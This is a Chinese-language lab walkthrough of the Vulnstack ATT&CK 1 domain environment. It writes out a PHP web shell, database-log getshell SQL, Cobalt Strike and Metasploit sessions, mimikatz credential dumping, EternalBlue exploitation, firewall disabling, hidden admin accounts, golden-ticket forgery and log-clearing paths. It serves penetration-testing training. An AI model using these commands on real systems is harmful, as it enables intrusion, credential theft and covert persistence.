ATK&CK(一)
Charmersix

靶机下载: http://vulnstack.qiyuanxuetang.net/vuln/detail/2

环境搭建与网络配置

image-20230910220213563

网路架构图:

image-20230910224418030

虚拟机网络环境:

image-20230910220815477

各台机器详细配置:

image-20230910222528999

登录密码均为hongrisec@2019

配置win7双网卡, 并ping测试

image-20230910230428814

image-20230910230756981

image-20230910230404296

信息收集

端口探测

image-20230914214516666

对站点IP使用nmap扫描

1
2
3
nmap -sV -p- 192.168.224.137
#-sV Version版本检测扫描
#-p- 全端口扫描

具体nmap使用教程可以参考这一篇https://blog.csdn.net/Kris__zhang/article/details/106841466

image-20230914220736796

目录扫描

这里推荐一下dirmap, 其功能强于DirBuster、Dirsearch、cansina、御剑.

github下载地址https://codeload.github.com/H4ckForJob/dirmap/zip/master

1
2
3
4
5
6
7
# 安装
$ git clone https://github.com/H4ckForJob/dirmap.git && cd dirmap && python3 -m pip install -r requirement.txt

# 使用 单个目标
$ python3 dirmap.py -iU https://site.com -lcf
# 多个目标
$ python3 dirmap.py -iF urls.txt -lcf
1
python .\dirmap.py -i http://192.168.224.137 -lcf

image-20230914222516428

看到有个备份文件, 下载查看image-20230914224515971

有个robots.txt

image-20230914224553413

主站为: http://192.168.224.137/YXCMS/

这里还有phpMyAdmin登录地址http://192.168.224.137/phpMyAdmin/

phpinfo泄露地址http://192.168.224.137/phpinfo.php

访问主站发现开发遗留的若只问题image-20230914225012142

访问phpinfo()

image-20230914230341757

这里暴露了绝对地址

web漏洞利用

后台弱口令

image-20230914231049204

1
2
3
http://192.168.224.137/YXCMS/index.php?r=admin/index/login
账号:admin
密码:123456

成功登录

image-20230914230935001

后台写入shell文件

1
<?php eval($_REQUEST[6]);?>

image-20230914232336618

保存, 然后从我们最开始下载的备份文件里, 可以找到shell.php的路径; 这里随便搜一个前台模板文件, 看一下路径

image-20230914233354080

可以复制出路径protected/apps/default/view/default/photo_content.php

测试一下

1
2
http://192.168.224.137/YXCMS/protected/apps/default/view/default/shell.php
6=phpinfo();

image-20230914233524225

连接蚁剑成功

image-20230914233823459

前台存储型XSS

观察网站主站, 发现有个留言本功能, 尝试xss. 成功

image-20230915164533378

登录后台, 打开留言本, 成功弹出cookie, xss利用成功

image-20230915164328340

这里重点不在于代码审计, 所以更多关于这个YXcms的web漏洞可以参考这篇文章https://www.freebuf.com/column/162886.html

phpMyAdmin弱口令+数据库日志getshell

弱口令登录

在最开始扫描中, 我们就发现了这个界面, 现在我们尝试登录

账号密码都是 root, 成功登录

image-20230915175110511

写入文件getshell(失败)

这里可以执行sql语句, 虽然我们也无法确定当前是否开了写文件的权限, 我们可以直接写入试试就知道了

1
select '<?php eval($_REQUEST[6]); ?>' into outfile 'C:/phpStudy/WWW/shell.php'

image-20230915180851190

执行失败, 并且从翻译中可以看出, 是没有权限, 那么我们可以尝试开启这个权限

1
2
show variables like "secure%";
set global secure_file_priv='ON';

image-20230915221204417

但是没有修改权限

image-20230915221433551

全局日志getshell

尝试数据库全局日志写入

先查询是否有权限

1
show variables like 'general%';

image-20230915223623024

权限为off, 尝试修改权限

1
set global general_log = 'ON';

成功修改image-20230915223728539

然后把general_log日志路径放网站根目录

1
2
set global general_log_file='C:/phpStudy/WWW/shell.php';
SHOW VARIABLES LIKE 'general_log_file';

image-20230915223940998

访问查看, 可以发现日志能够记录我们执行的sql语句image-20230915224056514

现在尝试写入一句话木马

1
select '<?php eval($_REQUEST[6]); ?>'

image-20230915224237137

测试一下, 成功

image-20230915224315977

慢查询日志getshell

下面试一下数据库慢查询日志写入

1
show variables like 'slow%' 

image-20230915225025442

与上述一样, 可以把时间修改的小一些

1
2
3
4
set global slow_query_log=on;
set global slow_query_log_file="C:/phpStudy/WWW/shell2.php";
set global Long_query_time=2;
show variables like 'slow%';

image-20230915225237369

写入一句话木马

1
select '<?php eval($_REQUEST[666]); ?>' or sleep(2);

image-20230915233354030

错误日志getshell(失败)

先查询

1
show variables like '%error%';

image-20230915233935521

为空, 我们直接写入错误日志文件位置

1
2
set log_error = 'C:/phpStudy/WWW/shell3.php';
show variables like 'log_error';

image-20230915234055550

内网搜集

首先我们准备好cobaltstrike

准备工作

搭建cs服务端

image-20230919191339866

启动cs

image-20230919191431061

我们用cs生成一个大马

image-20230919192447766

通过蚁剑上传到服务器

image-20230919193407657

运行一下, 才能cs上线image-20230919194007808

这里为了提高效率, 我们直接把延时调到0

1
sleep 0

image-20230919194859192

域信息收集

收集端口信息

1
shell netstat -ano

image-20230919202215249

查看系统信息

1
shell systeminfo

image-20230919211902939

同时拿到内网ip

image-20230919212049502

查看是否有域以及当前域

1
shell net config workstation

image-20230919212754786

查看域内所有用户列表

1
shell net user /domain

image-20230919223707325

直接操作失败, 这里需要提权

image-20230919223802685

成功后, 继续操作

image-20230919224016272

查看域成员计算机列表

1
shell net group "domain computers" /domain

image-20230919224341937

本机计算机名字为 STU1,另外还有两个域用户分别是 DEV1、ROOT-TVI862UBEH

查看域管理员用户

1
shell net group "domain admins" /domain

image-20230919225247908

域控用户名为OWA

使用lodan扫描内网网络

1
Ladon 192.168.52.0/24 OnlinePC

image-20230920222646242

再用mimikatz抓一下密码,得到当前用户登录密码为hongrisec@2019

1
logonpasswords

image-20230920224025035

这里汇总一下信息收集的命令

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
netsh advfirewall set allprofiles state off
关闭防火墙

shell netstat -ano
查看开放端口

shell systeminfo
查看系统信息

shell ipconfig/all
查看网络信息

shell whoami
查看用户信息

shell whoami/all
查看所有用户信息

shell hostname
获取dns信息

shell net view
查看当前局域网中的计算机列表

shell net user
查看当前计算机中的用户

systeminfo | findstr /B /C:"OS Name" /C:"OS Version"
systeminfo | findstr /B /C:"OS 名称" /C:"OS 版本"
查询操作系统及软件信息

echo %PROCESSOR_ARCHITECTURE%
查看系统体系结构

powershell "Get-WmiObject -class Win32_Product |Select-Object -Property name, version"
使用PowerShell收集软件的版本信息

whoami && whoami /priv
查看当前权限

wmic service list brief
查询本机服务信息

wmic product get name, version
查看安装的软件的版本、路径等

wmic process list brief
查询进程信息

wmic startup get command,caption
查看启动程序信息

shell tasklist
查看常见的杀毒软件进程

shell net view /domain
查看主域信息

shell net time /domain
查看时间服务器

shell net config workstation
查看当前的登录域与用户信息

shell nslookup god.org
寻找域dns服务器ip

shell ping -a god.org
ping dns服务器

shell net user /domain
获取当前域内的用户

shell wmic useraccount get /all
获取域内用户的详细信息

shell net group "domain computers" /domain
查看当前域成员计算机列表

shell net group "domain admins" /domain
查看域管理员的用户组

shell net group "Enterprise admins" /domain
查询域系统管理员用户组

shell net group "domain controllers" /domain
查看域控制器

shell net accounts /domain
获取域密码信息

net view
扫描端口信息

hashdump
读取内存密码

logonpasswords
用mimakatz读注册表密码

shell for /L %I in (1,1,254) DO @ping -w 1 -n 1 192.168.52.%I | findstr "TTL="
探测内网其他主机

image-20220609214727214

3389远程登录

这里我们可以通过ladon神器一键开启3389端口

image-20231007162652903

当然也有备用方案, 通过修改注册表开启3389, 并可以关闭防火墙

1
2
3
4
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f

netsh firewall set opmode disable # winsows server 2003 之前
netsh advfirewall set allprofiles state off # winsows server 2003 之后

然后我们可以添加一个花生壳来内网穿透

image-20231007162900229

当然也可以不用花生壳, 因为这台服务器本来就开放了公网IP

image-20231007173358094

之后我们就直接可以用自己电脑远程登录链接到靶机

win+r输入mstsc 地址为花生壳生成的地址

账号密码就是我们获取到的账号密码, 我这里是

1
2
god\Administrator
hongrisec@2023

成功登录image-20231007163133595

内网漏洞扫描

远程登陆我们发现靶机上有一个nmap, 可以进一步针对内网主机进行漏洞信息收集

1
nmap --script=vuln 192.168.52.0/24

我们可以发现192.168.52.141也就是域成员主机存在ms08-067ms17-010漏洞.

image-20231007174605044

而且域控主机192.168.52.138存在ms17-010

image-20231007175144258

横向渗透

CS派生SMB beacon

SMB beacon通过命名管道与父级beacon进行通信, 当两个beacons连接之后, 子beacon从父beacon获取到任务并发送, 因为连接的beacons使用Windows命名管道进行通信, 此流量封装在smb协议中, 所以smb beacon相对隐蔽, 绕过防火墙有奇效.

img

这时候我们就可以使用smb beacon 然主机C上线。(前提是有主机C的账号密码)

第一种是在已经有的beacon上建立监听, 用来作为跳板内网穿透, 前提是通过shell访问其他内网主机, 也就是获取dc(设备描述表)的方法

第二种是直接派生一个子beacon, 目的是为了进一步盗取内网主机的hash, 新建一个listener, payload设置为beacon smb

image-20231007213157304

image-20231007213251525

保存, 然后新建一个会话, 选择我们新添加的SMB

image-20231007213420029

可以看到派生了一个新的子会话, 这就是派生的 SMB Beacon,当前没有连接

image-20231007222359185

可以在主 Beacon 上用 link host 连接它,或者 unlink host 断开它

可以进一步盗取内网主机的 hash

psexec使用凭证登录其他主机

网络探测

image-20231007220219014

目标列表可以查看刚才探测到的内网其他主机

image-20231007220506679

再看一下我们之前啊mimikatz读取的密码

image-20231007221730117

右键选择一台主机

image-20231008154443756

同样方法可以上线另一台主机

TIPS: 这中间的任何问题都是最初密码的问题, 最终解决方案可以通过重新部署两台winserver解决

这是我比较混乱的最终效果

image-20231009223355028

image-20231009223418482

MSF联动CS

MSF启动!

1
msfconsole

image-20231009223701265

1
2
3
4
5
6
7
8
9
10
11
12
13
14
use multi/handler
使用监听模块

set payload windows/meterpreter/reverse_http
设置 payload为 windows下的反向http连接

set lhost 192.168.224.128
设置本机ip作为监听ip

set lport 9999
设置本机9999端口作为监听端口

run
运行

image-20231010201950639

回到cs, 新建一个监听器

image-20231010202309364

然后新建会话使用这个msf监听器

image-20231010202349382

shell成功接到msf

image-20231010204951407

接下来配置静态路由

配置静态路由的主要目的是绕过网络防火墙、路由器或其他网络设备的限制,以便在目标网络上移动、侦察或执行特定任务。

1
2
3
4
5
6
7
8
9
10
11
run get_local_subnets
查看网段子网

run autoroute -s 192.168.52.0/24
添加路由

run autoroute -p
查看路由

background
转入后台

接下来代理转发

image-20231010210403884

或者使用msf的代理模块

1
2
3
4
5
use auxiliary/server/socks_proxy

set version 5

set srvhost 192.168.224.128

然后修改配置文件

1
sudo vim /etc/proxychains4.conf

image-20231011120845341

刚才收集到域成员主机存在MS08-067MS17_010漏洞,由于目标系统无法直接连接到攻击机,所以需要将payload设置为Bind_tcp类型展开攻击

1
2
3
4
5
6
7
8
9
setg Proxies socks:192.168.224.128:8888

use exploit/windows/smb/ms17_010_eternalblue

set payload windows/x64/meterpreter/bind_tcp

set rhosts 192.168.52.138

run

拿到会话, 但是会因为蓝屏没法执行命令, 可以使用auxiliary/admin/smb/ms17_010_command执行命令

1
2
3
4
5
6
7
8
9
10
use  auxiliary/admin/smb/ms17_010_command
使用这个模块

set rhosts 192.168.52.138
设置ip

set command whoami
设置命令

run

image-20231011122545699

接下来关闭防火墙, 开启3389远程登陆

1
2
3
4
5
6
use auxiliary/admin/smb/ms17_010_command
set rhosts 192.168.52.138
set command 'REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f'
run
set command 'netsh advfirewall set allprofiles state off'
run

image-20231011124536545

然后添加用户

1
2
3
4
5
set command net user 6 123qwe. /add 
run
set command net localgroup administrators 6 /add
run
rdesktop 192.168.52.138 -u 6 -p 123qwe.

image-20231011190349127

但是这里我们无法进入owa域, 我们手动改到god域, 成功登录image-20231011191333137

接下来我们开始连接另一台机器

之前漏扫得到192.168.52.141存在ms08-067ms17-010漏洞

其中ms17-010上面已经演示过, 这里我们先演示一下ms08-067

1
2
3
4
5
6
search ms08-067
use 0
set payload windows/meterpreter/bind_tcp
set rhost 192.168.52.141
set lhost 192.168.224.128
run

image-20231011195908280

多次尝试以失败告终, 那么只能再利用一下ms17-010

1
2
3
4
5
6
7
8
9
10
11
12
setg Proxies socks:192.168.224.128:8888
use auxiliary/admin/smb/ms17_010_command
set rhosts 192.168.52.141
set command 'REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f'
run
set command 'netsh firewall set opmode disable'
run
set command net user 6 123qwe. /add
run
set command net localgroup administrators 6 /add
run
rdesktop 192.168.52.141 -u 6 -p 123qwe.

image-20231011221057155

这里再介绍一下telnet

1
2
3
4
5
6
7
8
use auxiliary/admin/smb/ms17_010_command
set rhosts 192.168.52.141
set command sc config tlntsvr start= auto
run
set command net start telnet
run
set command netstat -an
run

image-20231011223123911

开启完后我们尝试连接

1
2
3
4
5
use auxiliary/scanner/telnet/telnet_login
set rhosts 192.168.52.141
set username 6
set password 123qwe.
exploit

image-20231011223427818

利用失败, 手动连接

1
telnet 192.168.52.141

image-20231011223551431

成功了, exit可以退出

权限维持

黄金票据

这里我们已经拿到了域控主机, 先hashdump得到kebtgt账户的NTLM值

image-20231013125649024

krbtgt用户是系统在创建域时自动生成的账号,密码是随机生成的,无法登录主机,是KDC(密钥分发中心)的服务账号。在域环境中,每个用户账号的票据都是由 krbtgt 用户所生成的

1
aad3b435b51404eeaad3b435b51404ee:58e91a5ac358d86513ab224312314061:::

然后用mimikatz找到一个合法的sid

image-20231013130402730

1
S-1-5-21-2952760202-1353902439-2381784089-500

然后就可以构造黄金票据了, 用户名任意, 域名为当前域名, sid和hash值就是刚才获取到的

image-20231013130737750

可以使用mimikatz kerberos::list命令查看当前系统的票据:

image-20231013130857710

那么即使域控这台主机权限掉了或密码被修改了,我们依然可以使用边缘主机的黄金票据模拟获得最高权限,由于跳过AS验证,也就无需担心域管密码被修改

加载票据访问,选择监听器后执行,主机成功上线:

image-20231013134459154

image-20231013134436526

补充金票银票的区别:

金票Golden ticket:
在Kerberos认证中,Client通过AS(身份认证服务)认证后,AS会给Client一个Logon Session Key和TGT,而Logon Session Key并不会保存在KDC中,krbtgt 的 NTLM Hash又是固定的,所以只要得到 krbtgt 的 NTLM Hash,就可以伪造TGT和Logon Session Key来进入下一步Client与TGS的交互。而已有了金票后,就跳过AS验证,不用验证账户和密码,所以也不担心域管密码修改。

特点:不需要与AS进行交互,需要用户 krbtgt 的 Hash

条件:域名称、域的SID值、域的 KRBTGT 账号的 HASH、伪造任意用户名

AS:校验访问用户身份,看看你是谁,如果你的用户名存在AS对的数据库里面,那么就会给你一个随机64位的值,但是这个值是经过你的用户密码加密的,你得本地拿自己密码解开,这个是用来通信的,你和TGS的沟通都会用这个密钥加密。

TGS:和目标机器进行交互,中间用AS提供的密钥加密,然后对你提供的密码进行校验。

银票SILVER TICKET:
如果说黄金票据是伪造的TGT,那么白银票据就是伪造的ST。
在Kerberos认证的第三步,Client 带着ST和Authenticator3向Server上的某个服务进行请求,Server接收到Client的请求之后,通过自己的Master Key解密ST,从而获得Session Key。通过Session Key解密Authenticator3,进而验证对方的身份,验证成功就让 Client 访问 Server上的指定服务了。所以我们只需要知道Server用户的Hash就可以伪造出一个ST,且不会经过KDC,但是伪造的门票只对部分服务起作用。

特点:不需要与KDC进行交互、需要 server 的NTLM hash

区别:
获取的权限不同:
金票:伪造的TGT,可以获取任意Kerberos的访问权限
银票:伪造的ST,只能访问指定的服务,如CIFS

认证流程不同:
金票:同KDC交互,但不同AS交互
银票:不同KDC交互,直接访问Server加密方式不同:
金票:由krbtgt NTLM Hash 加密
银票:由服务账号 NTLM Hash 加密

影子账户

先删除之前创建的用户

1
shell net user 6 /delete

接下来添加隐藏用户

1
2
3
shell net user 666$ 123qwe. /add
shell net localgroup administrators 666$ /add
shell net user

image-20231013140358769

1
rdesktop 192.168.52.138 -u 666$ -p 123qwe.

更改注册表

regedit打开注册表, 找到HKEY_LOCAL_MACHINE\SAM\SAM

image-20231013150047296

administrators赋予完全控制权限

image-20231013150219948

Administrator 用户对应项的 F 数据值复制到 666$ 用户对应项的 F 数据值, 其中000001F4就是Administrator 用户

但是这里失败, 不过我们可以直接利用工具: CreateHiddenAccount

CreateHiddenAccount_v0.2.exe上传到机器

image-20231013153842103

管理员身份启动cmd

1
2
3
CreateHiddenAccount_v0.2.exe -c 检查是否有隐藏账户
CreateHiddenAccount_v0.2.exe -u wanan -p p-0p-0p-0 创建名为wanan,密码为p-0p-0p-0的账户。会自动补上$
CreateHiddenAccount_v0.2.exe -d wanan$ 删除隐藏账户

image-20231013154153816

这里由于靶场原因很多手段都失败了, 这里记录一下较为全面的方法

https://blog.csdn.net/qq_48985780/article/details/122297100

清除日志

windows 日志路径:

1
2
3
4
5
6
7
系统日志:%SystemRoot%\System32\Winevt\Logs\System.evtx

安全日志:%SystemRoot%\System32\Winevt\Logs\Security.evtx

应用程序日志:%SystemRoot%\System32\Winevt\Logs\Application.evtx

日志在注册表的键:HKEY_LOCAL_MACHINE\system\CurrentControlSet\Services\Eventlog

image-20231013155258241

 Comments